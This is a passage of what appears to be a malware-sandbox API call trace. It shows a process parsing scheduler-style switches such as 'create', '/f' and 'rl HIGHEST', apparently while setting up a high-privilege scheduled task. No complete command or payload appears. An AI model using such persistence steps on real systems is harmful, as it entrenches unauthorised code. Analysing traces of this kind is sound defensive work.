_Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|et|") returned 4 [0146.848] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.848] lstrlenW (lpString="|et|") returned 4 [0146.849] lstrlenW (lpString="|rl|") returned 4 [0146.849] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0146.849] SetLastError (dwErrCode=0x490) [0146.849] lstrlenW (lpString="k") returned 1 [0146.849] lstrlenW (lpString="k") returned 1 [0146.849] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.849] lstrlenW (lpString="rl") returned 2 [0146.849] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.849] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|k|") returned 3 [0146.849] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.849] lstrlenW (lpString="|k|") returned 3 [0146.849] lstrlenW (lpString="|rl|") returned 4 [0146.849] SetLastError (dwErrCode=0x490) [0146.849] lstrlenW (lpString="du") returned 2 [0146.849] lstrlenW (lpString="du") returned 2 [0146.849] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.849] lstrlenW (lpString="rl") returned 2 [0146.849] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.849] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|du|") returned 4 [0146.849] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.849] lstrlenW (lpString="|du|") returned 4 [0146.849] lstrlenW (lpString="|rl|") returned 4 [0146.849] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0146.849] SetLastError (dwErrCode=0x490) [0146.849] lstrlenW (lpString="ri") returned 2 [0146.849] lstrlenW (lpString="ri") returned 2 [0146.849] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.849] lstrlenW (lpString="rl") returned 2 [0146.849] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.849] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ri|") returned 4 [0146.849] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.850] lstrlenW (lpString="|ri|") returned 4 [0146.850] lstrlenW (lpString="|rl|") returned 4 [0146.850] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0146.850] SetLastError (dwErrCode=0x490) [0146.850] lstrlenW (lpString="z") returned 1 [0146.850] lstrlenW (lpString="z") returned 1 [0146.850] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.850] lstrlenW (lpString="rl") returned 2 [0146.850] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.850] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|z|") returned 3 [0146.850] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.850] lstrlenW (lpString="|z|") returned 3 [0146.850] lstrlenW (lpString="|rl|") returned 4 [0146.850] SetLastError (dwErrCode=0x490) [0146.850] lstrlenW (lpString="f") returned 1 [0146.850] lstrlenW (lpString="f") returned 1 [0146.850] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.850] lstrlenW (lpString="rl") returned 2 [0146.850] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.850] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.850] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.850] lstrlenW (lpString="|f|") returned 3 [0146.850] lstrlenW (lpString="|rl|") returned 4 [0146.850] SetLastError (dwErrCode=0x490) [0146.850] lstrlenW (lpString="v1") returned 2 [0146.850] lstrlenW (lpString="v1") returned 2 [0146.850] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.850] lstrlenW (lpString="rl") returned 2 [0146.850] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.850] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|v1|") returned 4 [0146.850] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.851] lstrlenW (lpString="|v1|") returned 4 [0146.851] lstrlenW (lpString="|rl|") returned 4 [0146.851] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0146.851] SetLastError (dwErrCode=0x490) [0146.851] lstrlenW (lpString="xml") returned 3 [0146.851] lstrlenW (lpString="xml") returned 3 [0146.851] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.851] lstrlenW (lpString="rl") returned 2 [0146.851] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.851] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|xml|") returned 5 [0146.851] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.851] lstrlenW (lpString="|xml|") returned 5 [0146.851] lstrlenW (lpString="|rl|") returned 4 [0146.851] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0146.851] SetLastError (dwErrCode=0x490) [0146.851] lstrlenW (lpString="ec") returned 2 [0146.851] lstrlenW (lpString="ec") returned 2 [0146.851] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.851] lstrlenW (lpString="rl") returned 2 [0146.851] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.851] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ec|") returned 4 [0146.851] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.851] lstrlenW (lpString="|ec|") returned 4 [0146.851] lstrlenW (lpString="|rl|") returned 4 [0146.851] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0146.851] SetLastError (dwErrCode=0x490) [0146.851] lstrlenW (lpString="rl") returned 2 [0146.851] lstrlenW (lpString="rl") returned 2 [0146.851] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.851] lstrlenW (lpString="rl") returned 2 [0146.851] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.852] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.852] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.852] lstrlenW (lpString="|rl|") returned 4 [0146.852] lstrlenW (lpString="|rl|") returned 4 [0146.852] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0146.852] SetLastError (dwErrCode=0x0) [0146.852] SetLastError (dwErrCode=0x0) [0146.852] lstrlenW (lpString="HIGHEST") returned 7 [0146.852] lstrlenW (lpString="-/") returned 2 [0146.852] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0146.852] SetLastError (dwErrCode=0x490) [0146.852] SetLastError (dwErrCode=0x490) [0146.852] SetLastError (dwErrCode=0x0) [0146.852] lstrlenW (lpString="HIGHEST") returned 7 [0146.852] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0146.852] SetLastError (dwErrCode=0x490) [0146.852] SetLastError (dwErrCode=0x0) [0146.852] _memicmp (_Buf1=0x3cd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.852] lstrlenW (lpString="HIGHEST") returned 7 [0146.852] lstrlenW (lpString="HIGHEST") returned 7 [0146.852] lstrlenW (lpString=" \x09") returned 2 [0146.852] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0146.852] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0146.852] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0146.852] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0146.852] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0146.852] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0146.852] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0146.852] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0146.852] GetLastError () returned 0x0 [0146.852] lstrlenW (lpString="HIGHEST") returned 7 [0146.852] lstrlenW (lpString="HIGHEST") returned 7 [0146.852] SetLastError (dwErrCode=0x0) [0146.853] SetLastError (dwErrCode=0x0) [0146.853] lstrlenW (lpString="/f") returned 2 [0146.853] lstrlenW (lpString="-/") returned 2 [0146.853] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.853] lstrlenW (lpString="create") returned 6 [0146.853] lstrlenW (lpString="create") returned 6 [0146.853] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.853] lstrlenW (lpString="f") returned 1 [0146.853] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.853] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|create|") returned 8 [0146.853] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.853] lstrlenW (lpString="|create|") returned 8 [0146.853] lstrlenW (lpString="|f|") returned 3 [0146.853] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0146.853] SetLastError (dwErrCode=0x490) [0146.853] lstrlenW (lpString="?") returned 1 [0146.853] lstrlenW (lpString="?") returned 1 [0146.853] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.853] lstrlenW (lpString="f") returned 1 [0146.853] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.854] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|?|") returned 3 [0146.854] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.854] lstrlenW (lpString="|?|") returned 3 [0146.854] lstrlenW (lpString="|f|") returned 3 [0146.854] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0146.854] SetLastError (dwErrCode=0x490) [0146.854] lstrlenW (lpString="s") returned 1 [0146.854] lstrlenW (lpString="s") returned 1 [0146.854] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.854] lstrlenW (lpString="f") returned 1 [0146.854] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.854] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|s|") returned 3 [0146.855] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.855] lstrlenW (lpString="|s|") returned 3 [0146.855] lstrlenW (lpString="|f|") returned 3 [0146.855] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0146.855] SetLastError (dwErrCode=0x490) [0146.855] lstrlenW (lpString="u") returned 1 [0146.855] lstrlenW (lpString="u") returned 1 [0146.855] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.855] lstrlenW (lpString="f") returned 1 [0146.855] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.855] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|u|") returned 3 [0146.855] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.855] lstrlenW (lpString="|u|") returned 3 [0146.855] lstrlenW (lpString="|f|") returned 3 [0146.855] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0146.855] SetLastError (dwErrCode=0x490) [0146.855] lstrlenW (lpString="p") returned 1 [0146.855] lstrlenW (lpString="p") returned 1 [0146.855] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.855] lstrlenW (lpString="f") returned 1 [0146.855] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.855] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|p|") returned 3 [0146.855] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.855] lstrlenW (lpString="|p|") returned 3 [0146.855] lstrlenW (lpString="|f|") returned 3 [0146.855] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0146.855] SetLastError (dwErrCode=0x490) [0146.856] lstrlenW (lpString="ru") returned 2 [0146.856] lstrlenW (lpString="ru") returned 2 [0146.856] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.856] lstrlenW (lpString="f") returned 1 [0146.856] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.856] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ru|") returned 4 [0146.856] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.856] lstrlenW (lpString="|ru|") returned 4 [0146.856] lstrlenW (lpString="|f|") returned 3 [0146.856] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0146.856] SetLastError (dwErrCode=0x490) [0146.856] lstrlenW (lpString="rp") returned 2 [0146.856] lstrlenW (lpString="rp") returned 2 [0146.856] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.856] lstrlenW (lpString="f") returned 1 [0146.856] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.856] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rp|") returned 4 [0146.856] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.856] lstrlenW (lpString="|rp|") returned 4 [0146.856] lstrlenW (lpString="|f|") returned 3 [0146.856] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0146.856] SetLastError (dwErrCode=0x490) [0146.856] lstrlenW (lpString="sc") returned 2 [0146.856] lstrlenW (lpString="sc") returned 2 [0146.856] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.856] lstrlenW (lpString="f") returned 1 [0146.856] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.857] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.857] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.857] lstrlenW (lpString="|sc|") returned 4 [0146.857] lstrlenW (lpString="|f|") returned 3 [0146.857] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0146.857] SetLastError (dwErrCode=0x490) [0146.857] lstrlenW (lpString="mo") returned 2 [0146.857] lstrlenW (lpString="mo") returned 2 [0146.857] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.857] lstrlenW (lpString="f") returned 1 [0146.857] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.857] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.857] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.857] lstrlenW (lpString="|mo|") returned 4 [0146.857] lstrlenW (lpString="|f|") returned 3 [0146.857] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0146.857] SetLastError (dwErrCode=0x490) [0146.857] lstrlenW (lpString="d") returned 1 [0146.857] lstrlenW (lpString="d") returned 1 [0146.857] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.857] lstrlenW (lpString="f") returned 1 [0146.857] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.857] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|d|") returned 3 [0146.857] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.857] lstrlenW (lpString="|d|") returned 3 [0146.857] lstrlenW (lpString="|f|") returned 3 [0146.857] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0146.858] SetLastError (dwErrCode=0x490) [0146.858] lstrlenW (lpString="m") returned 1 [0146.858] lstrlenW (lpString="m") returned 1 [0146.858] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.858] lstrlenW (lpString="f") returned 1 [0146.858] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.858] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|m|") returned 3 [0146.858] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.858] lstrlenW (lpString="|m|") returned 3 [0146.858] lstrlenW (lpString="|f|") returned 3 [0146.858] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0146.858] SetLastError (dwErrCode=0x490) [0146.858] lstrlenW (lpString="i") returned 1 [0146.858] lstrlenW (lpString="i") returned 1 [0146.858] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.858] lstrlenW (lpString="f") returned 1 [0146.858] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.858] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|i|") returned 3 [0146.858] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.858] lstrlenW (lpString="|i|") returned 3 [0146.858] lstrlenW (lpString="|f|") returned 3 [0146.858] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0146.858] SetLastError (dwErrCode=0x490) [0146.858] lstrlenW (lpString="tn") returned 2 [0146.858] lstrlenW (lpString="tn") returned 2 [0146.858] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.858] lstrlenW (lpString="f") returned 1 [0146.858] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.859] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.859] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.859] lstrlenW (lpString="|tn|") returned 4 [0146.859] lstrlenW (lpString="|f|") returned 3 [0146.859] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0146.859] SetLastError (dwErrCode=0x490) [0146.859] lstrlenW (lpString="tr") returned 2 [0146.859] lstrlenW (lpString="tr") returned 2 [0146.859] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.859] lstrlenW (lpString="f") returned 1 [0146.859] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.859] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.859] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.859] lstrlenW (lpString="|tr|") returned 4 [0146.859] lstrlenW (lpString="|f|") returned 3 [0146.859] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0146.859] SetLastError (dwErrCode=0x490) [0146.859] lstrlenW (lpString="st") returned 2 [0146.859] lstrlenW (lpString="st") returned 2 [0146.859] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.859] lstrlenW (lpString="f") returned 1 [0146.859] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.859] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|st|") returned 4 [0146.859] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.859] lstrlenW (lpString="|st|") returned 4 [0146.859] lstrlenW (lpString="|f|") returned 3 [0146.859] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0146.860] SetLastError (dwErrCode=0x490) [0146.860] lstrlenW (lpString="sd") returned 2 [0146.860] lstrlenW (lpString="sd") returned 2 [0146.860] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.860] lstrlenW (lpString="f") returned 1 [0146.860] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.860] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sd|") returned 4 [0146.860] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.860] lstrlenW (lpString="|sd|") returned 4 [0146.860] lstrlenW (lpString="|f|") returned 3 [0146.860] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0146.860] SetLastError (dwErrCode=0x490) [0146.860] lstrlenW (lpString="ed") returned 2 [0146.860] lstrlenW (lpString="ed") returned 2 [0146.860] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.860] lstrlenW (lpString="f") returned 1 [0146.860] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.860] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ed|") returned 4 [0146.860] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.860] lstrlenW (lpString="|ed|") returned 4 [0146.860] lstrlenW (lpString="|f|") returned 3 [0146.860] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0146.860] SetLastError (dwErrCode=0x490) [0146.860] lstrlenW (lpString="it") returned 2 [0146.860] lstrlenW (lpString="it") returned 2 [0146.860] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.860] lstrlenW (lpString="f") returned 1 [0146.860] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.861] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|it|") returned 4 [0146.861] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.861] lstrlenW (lpString="|it|") returned 4 [0146.861] lstrlenW (lpString="|f|") returned 3 [0146.861] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0146.861] SetLastError (dwErrCode=0x490) [0146.861] lstrlenW (lpString="et") returned 2 [0146.861] lstrlenW (lpString="et") returned 2 [0146.861] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.861] lstrlenW (lpString="f") returned 1 [0146.861] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.861] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|et|") returned 4 [0146.861] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.861] lstrlenW (lpString="|et|") returned 4 [0146.861] lstrlenW (lpString="|f|") returned 3 [0146.861] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0146.861] SetLastError (dwErrCode=0x490) [0146.861] lstrlenW (lpString="k") returned 1 [0146.861] lstrlenW (lpString="k") returned 1 [0146.861] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.861] lstrlenW (lpString="f") returned 1 [0146.861] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.861] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|k|") returned 3 [0146.861] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.862] lstrlenW (lpString="|k|") returned 3 [0146.862] lstrlenW (lpString="|f|") returned 3 [0146.862] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0146.862] SetLastError (dwErrCode=0x490) [0146.862] lstrlenW (lpString="du") returned 2 [0146.862] lstrlenW (lpString="du") returned 2 [0146.862] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.862] lstrlenW (lpString="f") returned 1 [0146.862] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.862] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|du|") returned 4 [0146.862] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.862] lstrlenW (lpString="|du|") returned 4 [0146.862] lstrlenW (lpString="|f|") returned 3 [0146.862] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0146.862] SetLastError (dwErrCode=0x490) [0146.862] lstrlenW (lpString="ri") returned 2 [0146.862] lstrlenW (lpString="ri") returned 2 [0146.862] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.862] lstrlenW (lpString="f") returned 1 [0146.862] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.862] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ri|") returned 4 [0146.862] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, 